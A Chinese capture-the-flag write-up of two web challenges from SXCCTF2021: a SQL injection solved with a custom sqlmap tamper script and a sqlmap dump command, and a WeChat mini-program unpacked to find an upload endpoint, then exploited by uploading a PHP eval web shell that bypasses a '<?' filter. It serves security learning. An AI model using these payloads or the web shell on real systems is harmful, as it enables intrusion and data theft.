SXCCTF2021 Web

前言

是认识的一个师傅的学校的比赛,很多大师傅们也都去打了。题目质量很高,就是我太菜了。。Web只会1道,看了一下y4师傅的WP学习了一下微信小程序逆向的那道题,还剩下一道CMS的审计,不会做,先暂时留着,等到下一阶段专门进行CMS审计的学习的时候再好好审一审。

Base

robots.txt里面可以得到base.txt,得到255个,写个python脚本把编码跑出来就可以了,比如d是Xw这样的。
最后我把比较重要的给跑了出来:

dic={
    
    '$':'Hw',';':'Ng','?':'Og' ,"'":'Ig'  ,',':'Jw','_':'Wg','(':'Iw','<':'Nw','}':'eA','%':'IA',')':'JA','-':'KA','=':'OA','.':'KQ','*':'JQ','>':'OQ'  ,'o': 'ag', 'p': 'aw', 'm': 'aA', 'n': 'aQ', 's': 'bg', 't': 'bw', 'q': 'bA', 'r': 'bQ', 'w': 'cg', 'x': 'cw', 'u': 'cA', 'v': 'cQ', 'y': 'dA', 'z': 'dQ', '+': 'Jg', '/': 'Kg', 'C': 'Pg', 'D': 'Pw', 'A': 'PA', 'B': 'PQ', 'G': 'Qg', 'H': 'Qw', 'E': 'QA', 'F': 'QQ', 'K': 'Rg', 'L': 'Rw', 'I': 'RA', 'J': 'RQ', 'O': 'Sg', 'P': 'Sw', 'M': 'SA', 'N': 'SQ', 'S': 'Tg', 'T': 'Tw', 'Q': 'TA', 'R': 'TQ', 'W': 'Ug', 'X': 'Uw', 'U': 'UA', 'V': 'UQ', 'Y': 'VA', 'Z': 'VQ', 'c': 'Xg', 'd': 'Xw', 'a': 'XA', 'b': 'XQ', 'g': 'Yg', 'h': 'Yw', 'e': 'YA', 'f': 'YQ', 'k': 'Zg', 'l': 'Zw', 'i': 'ZA', 'j': 'ZQ', ' ': 'CA', '0': 'Kw', '3': 'Lg', '4': 'Lw', '1': 'LA', '2': 'LQ', '7': 'Mg', '8': 'Mw', '5': 'MA', '6': 'MQ', '9': 'NA'}

构造出admin,然后就是SQL注入了。这题有2个点比较烦,一就是自己手注的话,每个payload都得按照这个dic编码一次。还有就是这样直接union注入的话,没有回显。是的,没有回显,我也不知道为什么,挺奇怪的,所以方便一点就sqlmap一把梭,因为就是个简单的SQL注入,一点过滤都没有,布尔注入随便也可以写的,不过因为最近刚学习sqlmap的tamper,就写了个sqlmap的tamper,然后sqlmap跑出来就可以了。

#!/usr/bin/env python

"""
Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.compat import xrange
from lib.core.enums import PRIORITY

__priority__ = PRIORITY.LOW

def dependencies():
    pass

def tamper(payload, **kwargs):
    retVal = payload
    dic={
    
    '$':'Hw',';':'Ng','?':'Og' ,"'":'Ig'  ,',':'Jw','_':'Wg','(':'Iw','<':'Nw','}':'eA','%':'IA',')':'JA','-':'KA','=':'OA','.':'KQ','*':'JQ','>':'OQ'  ,'o': 'ag', 'p': 'aw', 'm': 'aA', 'n': 'aQ', 's': 'bg', 't': 'bw', 'q': 'bA', 'r': 'bQ', 'w': 'cg', 'x': 'cw', 'u': 'cA', 'v': 'cQ', 'y': 'dA', 'z': 'dQ', '+': 'Jg', '/': 'Kg', 'C': 'Pg', 'D': 'Pw', 'A': 'PA', 'B': 'PQ', 'G': 'Qg', 'H': 'Qw', 'E': 'QA', 'F': 'QQ', 'K': 'Rg', 'L': 'Rw', 'I': 'RA', 'J': 'RQ', 'O': 'Sg', 'P': 'Sw', 'M': 'SA', 'N': 'SQ', 'S': 'Tg', 'T': 'Tw', 'Q': 'TA', 'R': 'TQ', 'W': 'Ug', 'X': 'Uw', 'U': 'UA', 'V': 'UQ', 'Y': 'VA', 'Z': 'VQ', 'c': 'Xg', 'd': 'Xw', 'a': 'XA', 'b': 'XQ', 'g': 'Yg', 'h': 'Yw', 'e': 'YA', 'f': 'YQ', 'k': 'Zg', 'l': 'Zw', 'i': 'ZA', 'j': 'ZQ', ' ': 'CA', '0': 'Kw', '3': 'Lg', '4': 'Lw', '1': 'LA', '2': 'LQ', '7': 'Mg', '8': 'Mw', '5': 'MA', '6': 'MQ', '9': 'NA'}
    if payload:
        retVal=''
        for i in payload:
            if i in dic:
                i=dic[i]
            retVal+=i
    return retVal

然后sqlmap一把梭:

python sqlmap.py -u "http://106.55.249.213:5001/?user=XAXwaAZAaQ&id=1" --dump -p id --tamper="new1.py"

布尔注入的脚本就不写了,太懒了,最近刷ctfshow的sql注入,这几天写了太多注入脚本,写的人都傻了,累了累了。

Wechat

第一次接触微信小程序的逆向,参考了一下y4师傅的博客。我们把附件下载下来是没有后缀名的,但是微信小程序的逆向,肯定是.wxapkg。然后就是利用WxAppUnpacker这个工具逆向一下:
wxappUnpacker
用法也给了:

node wuWxapkg.js 小程序包路径(.wxapkg格式)

需要用到node,而且可能会报一些module不存在,和python类似,都是因为我们没有下载那个module,去谷歌查一下下载就可以了,感觉都是这样:

npm install xxx --save

装好后再用就可以成功得到小程序的源代码了,然后就不会了。。因为我不会javascript。。所以只能跟着y4师傅直接得到结果,至于代码审计的过程,等以后学了javascript后再来审一遍。

在notes.js里面发现了文件上传:

// pages/notes/notes.js
Page({
    
    data: {
    
    }})     picPaths: []
    },
    onLoad: function(a) {
    
    },
    chooseImageTap: function() {
    
    
        var a = this;
        wx.showActionSheet({
    
    
            itemList: [ "从相册中选择", "拍照" ],
            itemColor: "#00000",
            success: function(e) {
    
    
                e.cancel || (0 == e.tapIndex ? a.chooseWxImage("album") : 1 == e.tapIndex && a.chooseWxImage("camera"));
            }
        });
    },
    chooseWxImage: function(a) {
    
    
        var e = this;
        e.data.imgs;
        wx.chooseImage({
    
    
            sizeType: [ "original", "compressed" ],
            sourceType: [ a ],
            success: function(a) {
    
    
                console.log(a.tempFilePaths[0]), e.upImgs(a.tempFilePaths[0], 0);
            }
        });
    },
    upImgs: function(a, e) {
    
    
        var t = this;
        wx.uploadFile({
    
    
            url: "http://121.37.189.111:8055/upload_file.php",
            filePath: a,
            name: "file",
            header: {
    
    
                "content-type": "multipart/form-data"
            },
            formData: null,
            success: function(a) {
    
    
                console.log(a);
                var e = JSON.parse(a.data);
                t.data.picPaths.push(e.msg), t.setData({
    
    
                    picPaths: t.data.picPaths
                }), console.log(t.data.picPaths);
            }
        });
    }
});

写个python传马就可以了,因为过滤了<?,所以拿script来绕过,正好php的版本也是7以下:

import requests

url="http://121.37.189.111:8055/upload_file.php"

files={
    
    
    'file':('feng.php',"<script language='php'>eval($_POST[0]);</script>")
}
r=requests.post(url=url,files=files)
print(r.text)

传完后会得到上传的马的路径,然后蚁剑连一下就可以找到flag了。

总结

还是太菜了哇,不会javascript,php也审不了CMS,要加紧学习哇。

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/113781115
web